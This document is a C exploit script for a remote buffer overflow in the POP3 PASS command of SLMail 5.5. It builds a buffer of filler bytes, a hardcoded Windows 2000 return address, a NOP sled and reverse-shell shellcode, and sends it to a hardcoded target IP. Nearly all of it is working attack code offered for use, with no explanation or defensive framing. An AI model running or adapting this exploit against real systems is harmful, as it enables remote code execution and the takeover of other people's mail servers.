SLMail 5.5 - POP3 PASS Remote Buffer Overflow Exploit

                                                #include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
 
define retadd "\x9f\x45\x3a\x77" /*win2k server sp4 0x773a459f*/
#define port 110

/* revshell ?????? ???????? ????????*/
char shellcode[] =
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68"
"\x7f\x00\x00\x01\x66\x68\x10\xe1\x66\x53\x89\xe1\x95\x68\xec\xf9"
"\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68"
"\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3"
"\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab"
"\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51"
"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6"
"\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6"
"\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";
 
struct sockaddr_in plm,lar,target;
 
int conn(char *ip)
{
 int sockfd;
 plm.sin_family = AF_INET;
 plm.sin_port = htons(port);
 plm.sin_addr.s_addr = inet_addr(ip);
 bzero(&(plm.sin_zero),8);
 sockfd = socket(AF_INET,SOCK_STREAM,0);
if((connect(sockfd,(struct sockaddr *)&plm,sizeof(struct sockaddr))) < 0)
{
 perror("[-] connect error!");
 exit(0);
}
 printf("[*] Connected to: %s.\n",ip);
 return sockfd;
}
 
int main(int argc, char *argv[])
{
    int xs;
    char out[1024];
    char *buffer = malloc(2960);
    memset(buffer, 0x00, 2960);
    char *off = malloc(2606);
    memset(off, 0x00, 2606);
    memset(off, 0x41, 2605);
    char *nop = malloc(13);
    memset(nop, 0x00, 13);
    memset(nop, 0x90, 12);
    strcat(buffer, off);
    strcat(buffer, retadd);
    strcat(buffer, nop);
    strcat(buffer, shellcode);

    printf("[+] SLMAIL Remote buffer overflow exploit in POP3 PASS by Haroon Rashid Astwat.\n");
    xs = conn("192.168.224.144");
    read(xs, out, 1024);
    printf("[*] %s", out);
    write(xs,"USER username\r\n", 15);
    read(xs, out, 1024);
    printf("[*] %s", out);
    write(xs,"PASS ",5);
    write(xs,buffer,strlen(buffer));
    printf("Shellcode len: %d bytes\n",strlen(shellcode));
    printf("Buffer len: %d bytes\n",strlen(buffer));
    write(xs,"\r\n",4);
    close(xs);  
}